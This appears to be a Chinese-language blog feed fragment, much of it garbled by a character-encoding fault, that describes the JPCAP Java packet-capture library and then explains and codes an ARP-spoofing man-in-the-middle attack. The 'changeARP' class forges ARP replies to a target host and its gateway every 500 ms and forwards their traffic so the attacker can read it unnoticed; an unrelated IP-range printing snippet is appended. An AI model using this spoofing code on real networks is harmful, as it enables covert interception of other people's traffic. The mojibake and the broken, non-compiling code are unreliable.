??xml version="1.0" encoding="utf-8" standalone="yes"?> 众所周知QJava语言虽然在TCP/UDP传输斚wl予了良好的定义Q但对于|络层以下的控制Q却是无能ؓ力的。JPCAP扩展包I补了q一炏V?/p>
JPCAP实际上ƈ非一个真正去实现Ҏ据链路层的控Ӟ而是一个中间gQJPCAP调用wincap/libpcapQ而给JAVA语言提供一个公q接口Q从而实Cq_无关性。在官方|站上声明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft windows 2000/XP{系l?/p>
二.JPCAP机制 JPCAP的整个结构大体上跟wincap/libpcap是很相像的,例如NetworkInterfacecd应wincap的typedef strUCt _ADAPTERADAPTERQgetDeviceList()对应pcap_findalldevs(){等?JPCAP?6个类Q下面就其中最重要?个类做说明?/p>
1QNetworkInterface 该类的每一个实例代表一个网l设备,一般就是网卡。这个类只有一些数据成员,除了l箋自java.lang.Object的基本方法以外,没有定义其它Ҏ?/p>
2QJpcapCaptor 该类提供了一pd静态方法实C些基本的功能。该cM个实例代表徏立了一个与指定讑֤的链接,可以通过该类的实例来控制讑֤Q例如设定网卡模式、设定过滤要宛_{等?/p>
抛弃的包的数目?br />
q个数据成员在官Ҏ中q没有做M说明Q查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的Q这cLwƈ没有做出定义Q所以是供其内部使用的。实际上在对JpcapCator实例的用中也没有办法调用此数据成员?br />
同样在官Ҏ档中没有做Q何说明,估计其ؓ供内部用?br />
同样在官Ҏ中没有做Q何说明,估计其ؓ供内部用?br />
Ҏ成员 InterfaceQ要打开q接的设备的实例Q?/p>
SnaplenQ这个是比较L搞的一个参数。其实这个参C是限制只能捕捉多数据包Q而是限制每一ơ收C个数据包Q只提取该数据包中前多少字节Q?/p>
PromiscQ设|是否杂模式。处于杂模式将接收所有数据包Q若之后又调用了包过滤函数setFilter()不起Q何作用; To_msQ这个参C要用于processPacket()ҎQ指定超时的旉Q?br />
q个Ҏ不受时的媄响。还记得openDivice()中的to_ms参数么?那个参数对这个方法没有媄响,假如没有捕捉到指定数目数据包Q那么这个方法将一直阻塞等待?br />
PacketReceiver中只有一个抽象方法void receive(Packet p)?br />
OptimizeQ这个参数在说明文以及源代码中都没有说明,只是说这个参数假如ؓ真,那么qo器将处于优化模式?br />
假如gؓ“true”Q那么设定ؓ“non-blocking”模式?br />
当调用processPacket()和loopPacket()后,再调用这个方法可以强制让processPacket()和loopPacket()停止?br />
3QJpcapSender 该类专门用于控制数据包的发送?/p>
q个Ҏq回的JpcapSender实例发送数据包时将自动填写数据链\层头部分?br />
4QPacket q个是所有其它数据包cȝ父类。Jpcap所支持的数据包有: 三.使用JPCAP实现监听 1Q监听原理 在具体说用JPCAP实现|络监听实现前,先简单介l下监听的原理?/p>
局域网监听利用的是所谓的“ARPƺ骗”技术。在以前曄一D阶D,局域网的布局是用ȝ式(或集U式Q结构,要到辄听只需要将|卡讑֮为杂模式即可,但现在的局域网l普遍采用的是交换式|络Q所以单U靠h模式来达到监听的Ҏ已经不可行了。所以ؓ了达到监听的目的Q我们需?#8220;ƺ骗”路由器?#8220;ƺ骗”交换机,?#8220;ARPƺ骗”技术?/p>
假设本机为AQ监听目标ؓB?/p>
首先Q伪造一个ARP REPLY包,数据链\层头及ARP内容部分的源MAC地址填入A的MAC地址Q而源IP部分填入|关IPQ目的地址填入B的MAC、IPQ然后将q个包发送给BQ而B接收到这个伪造的ARP REPLY包后Q由于源IP为网关IPQ于是在它的ARP~存表里h了一,(|关IPQ网关MACQ刷新成Q网关IPQA的MACQ。而B要访问外部的|都需要经q网养Iq时候这些要l过|关的包通通流到A的机器上来了?/p>
接着Q再伪造一个ARP REPLY包,数据链\层头及ARP内容部分的源MAC地址填入A的MAC地址Q而源IP部分填入B的IPQ目的地址填入|关MAC、IPQ然后将q个包发l网养I|关接收到这个伪造的ARP REPLY包后Q由于源IP为B的IPQ于是在它的ARP~存表里h了一,(B的IPQB的MACQ刷新成QB的IPQA的MACQ。这时候外部传lB的数据包l过|关Ӟ通通{发给A?/p>
q样q只是拦截了B的数据包而已QBq不能上|——解x法是接收到的包Q除了目的地址部分E做修改Q其它原不动的再{发出去,q样pC监听的目的——在B不知不觉中浏览了B所有的对外数据包?/p>
ARP数据包解?/p>
单元QByte 6 目标MAC地址 0x0806:ARP 以太|?x0001 IP|络0x0800 REPLY 0x0002 2Q用JPCAP实现监听 如上面说的Qؓ了实现监听,我们必须做四件事Q?/p>
AQ发送ARP包修改B的ARP~存表; BQ发送ARP包修改\由ARP~存表; CQ{发B发过来的数据包; DQ{发\由发q来的数据包Q?/p>
下面我们l个小的例子说明怎样实现?/p>
我们假定q行q个E序的机器A只有一个网卡,只接一个网l,所在局域网为EthernetQƈ且假定已l通过某种方式获得B和网关的MAC地址Q例如ARP解析获得Q。我们修改了B和网关的ARP表,q对他们的包q行了{发?/p>
注重Q这个例子只是ؓ了说明问题,q没有考虑到程序的健壮性,所以ƈ不一定能在Q何一台机器Q何一个系l上q行?br />
数据成员
NetworkInterfaceAddress[]
java.lang.String
datalink_description.
数据链\层的描述。描q所在的局域网是什么网。例如,以太|(EthernetQ、无ULAN|(wireless LANQ、o牌环|?token ring){等?br />
java.lang.String
datalink_name
该网l设备所对应数据链\层的名称。具体来_例如Ethernet10M?00M?000M{等?br />
java.lang.String
description
|卡是XXXX牌子XXXX型号之类的描q。例如我的网卡描qͼRealtek RTL8169/8110 Family Gigabit Ethernet NIC
boolean
Loopback
标志q个讑֤是否loopback讑֤?br />
byte[]
mac_address
|卡的MAC地址Q?个字节?br />
java.lang.String
Name
q个讑֤的名U。例如我的网卡名Uͼ\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
数据成员
int
dropped_packets
protected int
ID
protected staticboolean[]
instanciatedFlag
protected staticint
MAX_NUMBER_OF_INSTANCE
int
received_packets
收到的包的数?br />
staticNetworkInterface[]
getDeviceList()
q回一个网l设备列表?br />
staticJpcapCaptor
openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms)
创徏一个与指定讑֤的连接ƈq回该连接。注重,以上两个Ҏ都是静态方法?/p>
void
Close()
关闭调用该方法的讑֤的连接,相对于openDivece()打开q接?br />
JpcapSender
getJpcapSenderInstance()
该返回一个JpcapSender实例QJpcapSendercL专门用于控制讑֤的发送数据包的功能的cR?br />
Packet
getPacket()
捕捉q返回一个数据包。这是JpcapCaptor实例中四U捕捉包的方法之一?br />
int
loopPacket(intcount, PacketReceiver handler)
捕捉指定数目的数据包Qƈ交由实现了PacketReceiver接口的类的实例处理,q返回捕捉到的数据包数目。假如count参数设ؓQ?Q那么无限@环地捕捉数据?/p>
int
processPacket(intcount, PacketReceiver handler)
跟loopPacket()功能一P唯一的区别是q个Ҏ受超时的影响Q超q指定时间自动返回捕捉到数据包的数目?br />
int
dispatchPacket(intcount, PacketReceiverhandler)
跟processPacket()功能一P区别是这个方法可以处?#8220;non-blocking”模式工作Q在q种模式下dispatchPacket()可能立即q回Q即使没有捕捉到M数据包?br />
void
setFilter(java.lang.Stringcondition, booleanoptimize)
.conditionQ设定要提取的包的要宛_?/p>
void
setNonBlockingMode(booleannonblocking)
void
breakLoop()
Ҏ成员
void
close()
强制关闭q个q接?br />
staticJpcapSender
openRawSocket()
void
sendPacket(Packet packet)
JpcapSender最重要的功能,发送数据包。需要注重的是,假如调用q个Ҏ的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话Q需要自p定数据链路层的头Q而假如是׃面的openRawSocket()得到的话Q那么无需也不能设|,数据链\层的头部由pȝ自动生成?br />
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket
Ethernet头部
ARP数据部分
6
2
2
2
2
2
4
6
4
6
源地MAC地址
cd?x0800:ip
局域网cd
|络协议cd
MAC/IP地址长度Q恒?x06/04
ARP包类?/p>
ARP目标IP地址
ARP目标MAC 地址
ARP源IP地址
ARP源MAC地址
public class changeARP{
private NetworkInterface[] devices; //讑֤列表
private NetworkInterface device; //要用的讑֤
private JpcapCaptor jpcap; //与设备的q接
private JpcapSender sender; //用于发送的实例
private byte[] targetMAC, gateMAC; //B的MAC地址Q网关的MAC地址
private byte[] String targetIp, String gateIp; //B的IP地址Q网关的IP地址
/**
*初始化设?br />
* JpcapCaptor.getDeviceList()得到讑֤可能会有两个Q其中一个必定是“Generic
*dialup adapter”Q这是windowspȝ的虚拟网卡,q真正的硬件设备?br />
*注重Q在q里有一个小的BUGQ假如JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
*JFameQ)q类的语句会影响得到讑֤个数Q只会得到真正的g讑֤Q而不会出现虚拟网卡?br />
*虚拟|卡只有MAC地址而没有IP地址Q而且假如出现虚拟|卡Q那么实际网卡的MAC分
*配给虚拟|卡Q也是说在E序中调用device. mac_address时得到的?0 00 00 00 00 00?br />
*/
private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //获得讑֤列表
device = devices[0];//只有一个设?/span>
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的q接
jpcap.setFilter(“ip”,true); //只监听B的IP数据?/span>
sender = captor.getJpcapSenderInstance();
}
/**
*修改B和网关的ARP表。因为网关会定时发数据包h自己和B的缓存表Q所以必L隔一
*D|间就发一ơ包重新更改B和网关的ARP表?br />
*@参数 targetMAC B的MAC地址Q可通过ARP解析得到Q?br />
*@参数 targetIp B的IP地址Q?br />
*@参数 gateMAC |关的MAC地址Q?br />
*/
public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
throws UnknownHostException,InterruptedException {
this. targetMAC = targetMAC;
this. targetIp = targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //修改B的ARP表的ARP?/span>
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太|类?Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP|络协议cd
arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLYcd
arpTarget.hlen = 6; //MAC地址长度固定6个字?/span>
arpTarget.plen = 4; //IP地址长度固定4个字?/span>
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //|关IP
arpTarget.target_hardaddr = targetMAC; //B的MAC地址
arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP
EthernetPacket ethToTarget = new EthernetPacket(); //创徏一个以太网?/span>
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类?/span>
ethToTarget.src_mac = device.mac_address; //A的MAC地址
ethToTarget.dst_mac = targetMAC; //B的MAC地址
arpTarget.datalink = ethToTarget; //以太头d到ARP包前
arpGate = new ARPPacket(); //修改|关ARP表的?/span>
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相|不再重复注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;
thread=new Thread(new Runnable(){ //创徏一个进E控制发包速度
public void run() {
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
Thread.sleep(500);
}).start();
recP(); //接收数据包ƈ转发
}
/**
*修改包的以太_转发数据?br />
*参数 packet 收到的数据包
*参数 changeMAC 要{发出ȝ目标
*/
private void send(Packet packet, byte[] changeMAC) {
EthernetPacket eth;
if (packet.datalink instanceof EthernetPacket) {
eth = (EthernetPacket) packet.datalink;
for (int i = 0; i < 6; i++) {
eth.dst_mac[i] = changeMAC[i]; //修改包以太头Q改变包的目?/span>
eth.src_mac[i] = device.mac_address[i]; //源发送者ؓA
}
sender.sendPacket(packet);
}
}
/**
*打印接受到的数据包ƈ转发
*/
public void recP(){
IPPacket ipPacket = null;
while(true){
ipPacket = QIPPacketQjpcap.getPacket();
System.out.println(ipPacket);
if (ipPacket.src_ip.getHostAddress().equals(targetIp))
send(packet, gateMAC);
else
send(packet, targetMAC);
}
}
]]>
import java.net.*;
import java.nio.*;
public class PrintIP { //一个IPQ是一个3Q位无符L二进制数。故用long的低32表示无符?2位二q制数?/span>
public static long getIP(InetAddress ip)
{
byte[] b=ip.getAddress();
long l= b[0]<<24L & 0xff000000L|
b[1]<<16L & 0xff0000L |
b[2]<<8L & 0xff00L |
b[3]<<0L & 0xffL ;
return l;
}
//׃32位二q制数构成InetAddress对象
public static InetAddress toIP(long ip) throws UnknownHostException
{
byte[] b=new byte[4];
int i=(int)ip;//低3Q位
b[0]= (byte)( (i >> 24) & 0x000000ff );
b[1]= (byte)( (i >> 16) & 0x000000ff );
b[2]= (byte)( (i >> 8) & 0x000000ff );
b[3]= (byte)( (i >> 0) & 0x000000ff );
return InetAddress.getByAddress(b);
}
public static void main(String[] args) throws UnknownHostException {
long ip1=getIP(InetAddress.getByName("192.168.0.233"));
long ip2=getIP(InetAddress.getByName("192.168.1.12"));
System.out.println("192.168.0.233?92.168.1.12之间所有的IP是:");
for(long ip=ip1;ip<=ip2;ip++)
{
System.out.println(toIP(ip).getHostAddress());
}
}
}